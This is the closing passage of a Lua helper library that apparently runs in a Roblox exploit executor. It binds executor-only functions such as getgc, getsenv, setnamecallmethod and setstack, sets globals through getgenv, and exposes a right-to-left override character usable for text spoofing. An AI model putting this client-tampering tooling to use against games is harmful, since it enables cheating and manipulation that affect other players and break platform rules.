3967		gcs = getcallingscript or rawget(shared.dbg, "gcs") or warn("shared.dbg.gcs needs to be set to 'getcallingscript' function!"),
3968		glm = getloadedmodules or rawget(shared.dbg, "glm") or warn("shared.dbg.glm needs to be set to 'getloadedmodules' function!"),
3969		gni = getnilinstances or rawget(shared.dbg, "gni") or warn("shared.dbg.gni needs to be set to 'getnilinstances' function!"),
3970		ggc = getgc or rawget(shared.dbg, "ggc") or warn("shared.dbg.ggc needs to be set to 'getgc' function!"),
3971		gi = getinstances or rawget(shared.dbg, "gi") or warn("shared.dbg.gi needs to be set to 'getinstances' function!"),
3972		gge = getgenv or rawget(shared.dbg, "gge") or warn("shared.dbg.gge needs to be set to 'getgenv' function!"),
3973		gncm = getnamecallmethod or rawget(shared.dbg, "gncm") or warn("shared.dbg.gncm needs to be set to 'getnamecallmethod' function!"),
3974		sncm = setnamecallmethod or rawget(shared.dbg, "sncm") or warn("shared.dbg.sncm needs to be set to 'setnamecallmethod' function!"),
3975		gse = getsenv or rawget(shared.dbg, "gse") or warn("shared.dbg.gse needs to be set to 'getsenv' function!"),
3976		ss = debug.setstack or setstack or rawget(shared.dbg, "ss") or warn("shared.dbg.ss needs to be set to 'setstack' function!"),
3977		gre = getrenv or rawget(shared.dbg, "gre") or warn("shared.dbg.gre needs to be set to 'getrenv' function!"),
3978		gs = getscripts or rawget(shared.dbg, "gs") or warn("shared.dbg.gs needs to be set to 'getscripts' function!")
3979	}, {__index = debug})
3980	delay(3, function() -- Eh... Fucket
3981		getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().Region3, getgenv().CFrame, getgenv().Ray = Color3, Instance, math, string, table, Vector3, Pepsi, Region3, CFrame, Ray
3982	end)
3983end
3984if true or not auto_exec then -- Super secret stuff. Nah, jk... Just a setting to prevent the script from a pre-mature EoF.
3985	return (function(...) -- Fuck "module can only return 1 result".
3986		return setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({}, {__index = Region3}), setmetatable({}, {__index = CFrame}), setmetatable({}, {__index = Ray}--[[, setmetatable({}, {__index = Drawing}]])
3987	end)
3988end
3989return Pepsi.DummyFunc -- Comes in handy lol